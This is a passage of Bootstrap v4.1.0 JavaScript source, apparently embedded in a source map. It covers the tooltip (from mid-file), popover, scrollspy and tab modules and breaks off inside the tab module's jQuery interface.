{\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    enable() {\n      this._isEnabled = true\n    }\n\n    disable() {\n      this._isEnabled = false\n    }\n\n    toggleEnabled() {\n      this._isEnabled = !this._isEnabled\n    }\n\n    toggle(event) {\n      if (!this._isEnabled) {\n        return\n      }\n\n      if (event) {\n        const dataKey = this.constructor.DATA_KEY\n        let context = $(event.currentTarget).data(dataKey)\n\n        if (!context) {\n          context = new this.constructor(\n            event.currentTarget,\n            this._getDelegateConfig()\n          )\n          $(event.currentTarget).data(dataKey, context)\n        }\n\n        context._activeTrigger.click = !context._activeTrigger.click\n\n        if (context._isWithActiveTrigger()) {\n          context._enter(null, context)\n        } else {\n          context._leave(null, context)\n        }\n      } else {\n        if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n          this._leave(null, this)\n          return\n        }\n\n        this._enter(null, this)\n      }\n    }\n\n    dispose() {\n      clearTimeout(this._timeout)\n\n      $.removeData(this.element, this.constructor.DATA_KEY)\n\n      $(this.element).off(this.constructor.EVENT_KEY)\n      $(this.element).closest('.modal').off('hide.bs.modal')\n\n      if (this.tip) {\n        $(this.tip).remove()\n      }\n\n      this._isEnabled     = null\n      this._timeout       = null\n      this._hoverState    = null\n      this._activeTrigger = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n      }\n\n      this._popper = null\n      this.element = null\n      this.config  = null\n      this.tip     = null\n    }\n\n    show() {\n      if ($(this.element).css('display') === 'none') {\n        throw new Error('Please use show on visible elements')\n      }\n\n      const showEvent = $.Event(this.constructor.Event.SHOW)\n      if (this.isWithContent() && this._isEnabled) {\n        $(this.element).trigger(showEvent)\n\n        const isInTheDom = $.contains(\n          this.element.ownerDocument.documentElement,\n          this.element\n        )\n\n        if (showEvent.isDefaultPrevented() || !isInTheDom) {\n          return\n        }\n\n        const tip   = this.getTipElement()\n        const tipId = Util.getUID(this.constructor.NAME)\n\n        tip.setAttribute('id', tipId)\n        this.element.setAttribute('aria-describedby', tipId)\n\n        this.setContent()\n\n        if (this.config.animation) {\n          $(tip).addClass(ClassName.FADE)\n        }\n\n        const placement  = typeof this.config.placement === 'function'\n          ? this.config.placement.call(this, tip, this.element)\n          : this.config.placement\n\n        const attachment = this._getAttachment(placement)\n        this.addAttachmentClass(attachment)\n\n        const container = this.config.container === false ? document.body : $(this.config.container)\n\n        $(tip).data(this.constructor.DATA_KEY, this)\n\n        if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n          $(tip).appendTo(container)\n        }\n\n        $(this.element).trigger(this.constructor.Event.INSERTED)\n\n        this._popper = new Popper(this.element, tip, {\n          placement: attachment,\n          modifiers: {\n            offset: {\n              offset: this.config.offset\n            },\n            flip: {\n              behavior: this.config.fallbackPlacement\n            },\n            arrow: {\n              element: Selector.ARROW\n            },\n            preventOverflow: {\n              boundariesElement: this.config.boundary\n            }\n          },\n          onCreate: (data) => {\n            if (data.originalPlacement !== data.placement) {\n              this._handlePopperPlacementChange(data)\n            }\n          },\n          onUpdate: (data) => {\n            this._handlePopperPlacementChange(data)\n          }\n        })\n\n        $(tip).addClass(ClassName.SHOW)\n\n        // If this is a touch-enabled device we add extra\n        // empty mouseover listeners to the body's immediate children;\n        // only needed because of broken event delegation on iOS\n        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().on('mouseover', null, $.noop)\n        }\n\n        const complete = () => {\n          if (this.config.animation) {\n            this._fixTransition()\n          }\n          const prevHoverState = this._hoverState\n          this._hoverState     = null\n\n          $(this.element).trigger(this.constructor.Event.SHOWN)\n\n          if (prevHoverState === HoverState.OUT) {\n            this._leave(null, this)\n          }\n        }\n\n        if ($(this.tip).hasClass(ClassName.FADE)) {\n          const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n          $(this.tip)\n            .one(Util.TRANSITION_END, complete)\n            .emulateTransitionEnd(transitionDuration)\n        } else {\n          complete()\n        }\n      }\n    }\n\n    hide(callback) {\n      const tip       = this.getTipElement()\n      const hideEvent = $.Event(this.constructor.Event.HIDE)\n      const complete = () => {\n        if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n          tip.parentNode.removeChild(tip)\n        }\n\n        this._cleanTipClass()\n        this.element.removeAttribute('aria-describedby')\n        $(this.element).trigger(this.constructor.Event.HIDDEN)\n        if (this._popper !== null) {\n          this._popper.destroy()\n        }\n\n        if (callback) {\n          callback()\n        }\n      }\n\n      $(this.element).trigger(hideEvent)\n\n      if (hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      $(tip).removeClass(ClassName.SHOW)\n\n      // If this is a touch-enabled device we remove the extra\n      // empty mouseover listeners we added for iOS support\n      if ('ontouchstart' in document.documentElement) {\n        $(document.body).children().off('mouseover', null, $.noop)\n      }\n\n      this._activeTrigger[Trigger.CLICK] = false\n      this._activeTrigger[Trigger.FOCUS] = false\n      this._activeTrigger[Trigger.HOVER] = false\n\n      if ($(this.tip).hasClass(ClassName.FADE)) {\n        const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n        $(tip)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n\n      this._hoverState = ''\n    }\n\n    update() {\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Protected\n\n    isWithContent() {\n      return Boolean(this.getTitle())\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n      this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    setElementContent($element, content) {\n      const html = this.config.html\n      if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n        // Content is a DOM node or a jQuery\n        if (html) {\n          if (!$(content).parent().is($element)) {\n            $element.empty().append(content)\n          }\n        } else {\n          $element.text($(content).text())\n        }\n      } else {\n        $element[html ? 'html' : 'text'](content)\n      }\n    }\n\n    getTitle() {\n      let title = this.element.getAttribute('data-original-title')\n\n      if (!title) {\n        title = typeof this.config.title === 'function'\n          ? this.config.title.call(this.element)\n          : this.config.title\n      }\n\n      return title\n    }\n\n    // Private\n\n    _getAttachment(placement) {\n      return AttachmentMap[placement.toUpperCase()]\n    }\n\n    _setListeners() {\n      const triggers = this.config.trigger.split(' ')\n\n      triggers.forEach((trigger) => {\n        if (trigger === 'click') {\n          $(this.element).on(\n            this.constructor.Event.CLICK,\n            this.config.selector,\n            (event) => this.toggle(event)\n          )\n        } else if (trigger !== Trigger.MANUAL) {\n          const eventIn = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSEENTER\n            : this.constructor.Event.FOCUSIN\n          const eventOut = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSELEAVE\n            : this.constructor.Event.FOCUSOUT\n\n          $(this.element)\n            .on(\n              eventIn,\n              this.config.selector,\n              (event) => this._enter(event)\n            )\n            .on(\n              eventOut,\n              this.config.selector,\n              (event) => this._leave(event)\n            )\n        }\n\n        $(this.element).closest('.modal').on(\n          'hide.bs.modal',\n          () => this.hide()\n        )\n      })\n\n      if (this.config.selector) {\n        this.config = {\n          ...this.config,\n          trigger: 'manual',\n          selector: ''\n        }\n      } else {\n        this._fixTitle()\n      }\n    }\n\n    _fixTitle() {\n      const titleType = typeof this.element.getAttribute('data-original-title')\n      if (this.element.getAttribute('title') ||\n         titleType !== 'string') {\n        this.element.setAttribute(\n          'data-original-title',\n          this.element.getAttribute('title') || ''\n        )\n        this.element.setAttribute('title', '')\n      }\n    }\n\n    _enter(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n        ] = true\n      }\n\n      if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n         context._hoverState === HoverState.SHOW) {\n        context._hoverState = HoverState.SHOW\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.SHOW\n\n      if (!context.config.delay || !context.config.delay.show) {\n        context.show()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.SHOW) {\n          context.show()\n        }\n      }, context.config.delay.show)\n    }\n\n    _leave(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n        ] = false\n      }\n\n      if (context._isWithActiveTrigger()) {\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.OUT\n\n      if (!context.config.delay || !context.config.delay.hide) {\n        context.hide()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.OUT) {\n          context.hide()\n        }\n      }, context.config.delay.hide)\n    }\n\n    _isWithActiveTrigger() {\n      for (const trigger in this._activeTrigger) {\n        if (this._activeTrigger[trigger]) {\n          return true\n        }\n      }\n\n      return false\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this.element).data(),\n        ...config\n      }\n\n      if (typeof config.delay === 'number') {\n        config.delay = {\n          show: config.delay,\n          hide: config.delay\n        }\n      }\n\n      if (typeof config.title === 'number') {\n        config.title = config.title.toString()\n      }\n\n      if (typeof config.content === 'number') {\n        config.content = config.content.toString()\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getDelegateConfig() {\n      const config = {}\n\n      if (this.config) {\n        for (const key in this.config) {\n          if (this.constructor.Default[key] !== this.config[key]) {\n            config[key] = this.config[key]\n          }\n        }\n      }\n\n      return config\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    _handlePopperPlacementChange(data) {\n      this._cleanTipClass()\n      this.addAttachmentClass(this._getAttachment(data.placement))\n    }\n\n    _fixTransition() {\n      const tip = this.getTipElement()\n      const initConfigAnimation = this.config.animation\n      if (tip.getAttribute('x-placement') !== null) {\n        return\n      }\n      $(tip).removeClass(ClassName.FADE)\n      this.config.animation = false\n      this.hide()\n      this.show()\n      this.config.animation = initConfigAnimation\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data && /dispose|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Tooltip(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tooltip._jQueryInterface\n  $.fn[NAME].Constructor = Tooltip\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tooltip._jQueryInterface\n  }\n\n  return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'popover'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.popover'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n  const CLASS_PREFIX        = 'bs-popover'\n  const BSCLS_PREFIX_REGEX  = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const Default = {\n    ...Tooltip.Default,\n    placement : 'right',\n    trigger   : 'click',\n    content   : '',\n    template  : '<div class=\"popover\" role=\"tooltip\">' +\n                '<div class=\"arrow\"></div>' +\n                '<h3 class=\"popover-header\"></h3>' +\n                '<div class=\"popover-body\"></div></div>'\n  }\n\n  const DefaultType = {\n    ...Tooltip.DefaultType,\n    content : '(string|element|function)'\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TITLE   : '.popover-header',\n    CONTENT : '.popover-body'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Popover extends Tooltip {\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Overrides\n\n    isWithContent() {\n      return this.getTitle() || this._getContent()\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n\n      // We use append for html objects to maintain js events\n      this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n      let content = this._getContent()\n      if (typeof content === 'function') {\n        content = content.call(this.element)\n      }\n      this.setElementContent($tip.find(Selector.CONTENT), content)\n\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    // Private\n\n    _getContent() {\n      return this.element.getAttribute('data-content') ||\n        this.config.content\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data && /destroy|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Popover(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Popover._jQueryInterface\n  $.fn[NAME].Constructor = Popover\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Popover._jQueryInterface\n  }\n\n  return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'scrollspy'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.scrollspy'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Default = {\n    offset : 10,\n    method : 'auto',\n    target : ''\n  }\n\n  const DefaultType = {\n    offset : 'number',\n    method : 'string',\n    target : '(string|element)'\n  }\n\n  const Event = {\n    ACTIVATE      : `activate${EVENT_KEY}`,\n    SCROLL        : `scroll${EVENT_KEY}`,\n    LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_ITEM : 'dropdown-item',\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active'\n  }\n\n  const Selector = {\n    DATA_SPY        : '[data-spy=\"scroll\"]',\n    ACTIVE          : '.active',\n    NAV_LIST_GROUP  : '.nav, .list-group',\n    NAV_LINKS       : '.nav-link',\n    NAV_ITEMS       : '.nav-item',\n    LIST_ITEMS      : '.list-group-item',\n    DROPDOWN        : '.dropdown',\n    DROPDOWN_ITEMS  : '.dropdown-item',\n    DROPDOWN_TOGGLE : '.dropdown-toggle'\n  }\n\n  const OffsetMethod = {\n    OFFSET   : 'offset',\n    POSITION : 'position'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class ScrollSpy {\n    constructor(element, config) {\n      this._element       = element\n      this._scrollElement = element.tagName === 'BODY' ? window : element\n      this._config        = this._getConfig(config)\n      this._selector      = `${this._config.target} ${Selector.NAV_LINKS},` +\n                            `${this._config.target} ${Selector.LIST_ITEMS},` +\n                            `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n      this._offsets       = []\n      this._targets       = []\n      this._activeTarget  = null\n      this._scrollHeight  = 0\n\n      $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n      this.refresh()\n      this._process()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    refresh() {\n      const autoMethod = this._scrollElement === this._scrollElement.window\n        ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n      const offsetMethod = this._config.method === 'auto'\n        ? autoMethod : this._config.method\n\n      const offsetBase = offsetMethod === OffsetMethod.POSITION\n        ? this._getScrollTop() : 0\n\n      this._offsets = []\n      this._targets = []\n\n      this._scrollHeight = this._getScrollHeight()\n\n      const targets = $.makeArray($(this._selector))\n\n      targets\n        .map((element) => {\n          let target\n          const targetSelector = Util.getSelectorFromElement(element)\n\n          if (targetSelector) {\n            target = $(targetSelector)[0]\n          }\n\n          if (target) {\n            const targetBCR = target.getBoundingClientRect()\n            if (targetBCR.width || targetBCR.height) {\n              // TODO (fat): remove sketch reliance on jQuery position/offset\n              return [\n                $(target)[offsetMethod]().top + offsetBase,\n                targetSelector\n              ]\n            }\n          }\n          return null\n        })\n        .filter((item) => item)\n        .sort((a, b) => a[0] - b[0])\n        .forEach((item) => {\n          this._offsets.push(item[0])\n          this._targets.push(item[1])\n        })\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._scrollElement).off(EVENT_KEY)\n\n      this._element       = null\n      this._scrollElement = null\n      this._config        = null\n      this._selector      = null\n      this._offsets       = null\n      this._targets       = null\n      this._activeTarget  = null\n      this._scrollHeight  = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n\n      if (typeof config.target !== 'string') {\n        let id = $(config.target).attr('id')\n        if (!id) {\n          id = Util.getUID(NAME)\n          $(config.target).attr('id', id)\n        }\n        config.target = `#${id}`\n      }\n\n      Util.typeCheckConfig(NAME, config, DefaultType)\n\n      return config\n    }\n\n    _getScrollTop() {\n      return this._scrollElement === window\n        ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n    }\n\n    _getScrollHeight() {\n      return this._scrollElement.scrollHeight || Math.max(\n        document.body.scrollHeight,\n        document.documentElement.scrollHeight\n      )\n    }\n\n    _getOffsetHeight() {\n      return this._scrollElement === window\n        ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n    }\n\n    _process() {\n      const scrollTop    = this._getScrollTop() + this._config.offset\n      const scrollHeight = this._getScrollHeight()\n      const maxScroll    = this._config.offset +\n        scrollHeight -\n        this._getOffsetHeight()\n\n      if (this._scrollHeight !== scrollHeight) {\n        this.refresh()\n      }\n\n      if (scrollTop >= maxScroll) {\n        const target = this._targets[this._targets.length - 1]\n\n        if (this._activeTarget !== target) {\n          this._activate(target)\n        }\n        return\n      }\n\n      if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n        this._activeTarget = null\n        this._clear()\n        return\n      }\n\n      for (let i = this._offsets.length; i--;) {\n        const isActiveTarget = this._activeTarget !== this._targets[i] &&\n            scrollTop >= this._offsets[i] &&\n            (typeof this._offsets[i + 1] === 'undefined' ||\n                scrollTop < this._offsets[i + 1])\n\n        if (isActiveTarget) {\n          this._activate(this._targets[i])\n        }\n      }\n    }\n\n    _activate(target) {\n      this._activeTarget = target\n\n      this._clear()\n\n      let queries = this._selector.split(',')\n      // eslint-disable-next-line arrow-body-style\n      queries = queries.map((selector) => {\n        return `${selector}[data-target=\"${target}\"],` +\n               `${selector}[href=\"${target}\"]`\n      })\n\n      const $link = $(queries.join(','))\n\n      if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n        $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        $link.addClass(ClassName.ACTIVE)\n      } else {\n        // Set triggered link as active\n        $link.addClass(ClassName.ACTIVE)\n        // Set triggered links parents as active\n        // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n        $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n        // Handle special case when .nav-link is inside .nav-item\n        $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n      }\n\n      $(this._scrollElement).trigger(Event.ACTIVATE, {\n        relatedTarget: target\n      })\n    }\n\n    _clear() {\n      $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data) {\n          data = new ScrollSpy(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n    for (let i = scrollSpys.length; i--;) {\n      const $spy = $(scrollSpys[i])\n      ScrollSpy._jQueryInterface.call($spy, $spy.data())\n    }\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = ScrollSpy._jQueryInterface\n  $.fn[NAME].Constructor = ScrollSpy\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return ScrollSpy._jQueryInterface\n  }\n\n  return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tab'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tab'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Event = {\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active',\n    DISABLED      : 'disabled',\n    FADE          : 'fade',\n    SHOW          : 'show'\n  }\n\n  const Selector = {\n    DROPDOWN              : '.dropdown',\n    NAV_LIST_GROUP        : '.nav, .list-group',\n    ACTIVE                : '.active',\n    ACTIVE_UL             : '> li > .active',\n    DATA_TOGGLE           : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n    DROPDOWN_TOGGLE       : '.dropdown-toggle',\n    DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tab {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    show() {\n      if (this._element.parentNode &&\n          this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n          $(this._element).hasClass(ClassName.ACTIVE) ||\n          $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      let target\n      let previous\n      const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n      const selector = Util.getSelectorFromElement(this._element)\n\n      if (listElement) {\n        const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n        previous = $.makeArray($(listElement).find(itemSelector))\n        previous = previous[previous.length - 1]\n      }\n\n      const hideEvent = $.Event(Event.HIDE, {\n        relatedTarget: this._element\n      })\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget: previous\n      })\n\n      if (previous) {\n        $(previous).trigger(hideEvent)\n      }\n\n      $(this._element).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented() ||\n         hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (selector) {\n        target = $(selector)[0]\n      }\n\n      this._activate(\n        this._element,\n        listElement\n      )\n\n      const complete = () => {\n        const hiddenEvent = $.Event(Event.HIDDEN, {\n          relatedTarget: this._element\n        })\n\n        const shownEvent = $.Event(Event.SHOWN, {\n          relatedTarget: previous\n        })\n\n        $(previous).trigger(hiddenEvent)\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (target) {\n        this._activate(target, target.parentNode, complete)\n      } else {\n        complete()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _activate(element, container, callback) {\n      let activeElements\n      if (container.nodeName === 'UL') {\n        activeElements = $(container).find(Selector.ACTIVE_UL)\n      } else {\n        activeElements = $(container).children(Selector.ACTIVE)\n      }\n\n      const active = activeElements[0]\n      const isTransitioning = callback &&\n        (active && $(active).hasClass(ClassName.FADE))\n\n      const complete = () => this._transitionComplete(\n        element,\n        active,\n        callback\n      )\n\n      if (active && isTransitioning) {\n        const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n        $(active)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n    }\n\n    _transitionComplete(element, active, callback) {\n      if (active) {\n        $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n        const dropdownChild = $(active.parentNode).find(\n          Selector.DROPDOWN_ACTIVE_CHILD\n        )[0]\n\n        if (dropdownChild) {\n          $(dropdownChild).removeClass(ClassName.ACTIVE)\n        }\n\n        if (active.getAttribute('role') === 'tab') {\n          active.setAttribute('aria-selected', false)\n        }\n      }\n\n      $(element).addClass(ClassName.ACTIVE)\n      if (element.getAttribute('role') === 'tab') {\n        element.setAttribute('aria-selected', true)\n      }\n\n      Util.reflow(element)\n      $(element).addClass(ClassName.SHOW)\n\n      if (element.parentNode &&\n          $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n        const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n        if (dropdownElement) {\n          $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        }\n\n        element.setAttribute('aria-expanded', true)\n      }\n\n      if (callback) {\n        callback()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this = $(this)\n        let data = $this.data(DATA_KEY)\n\n        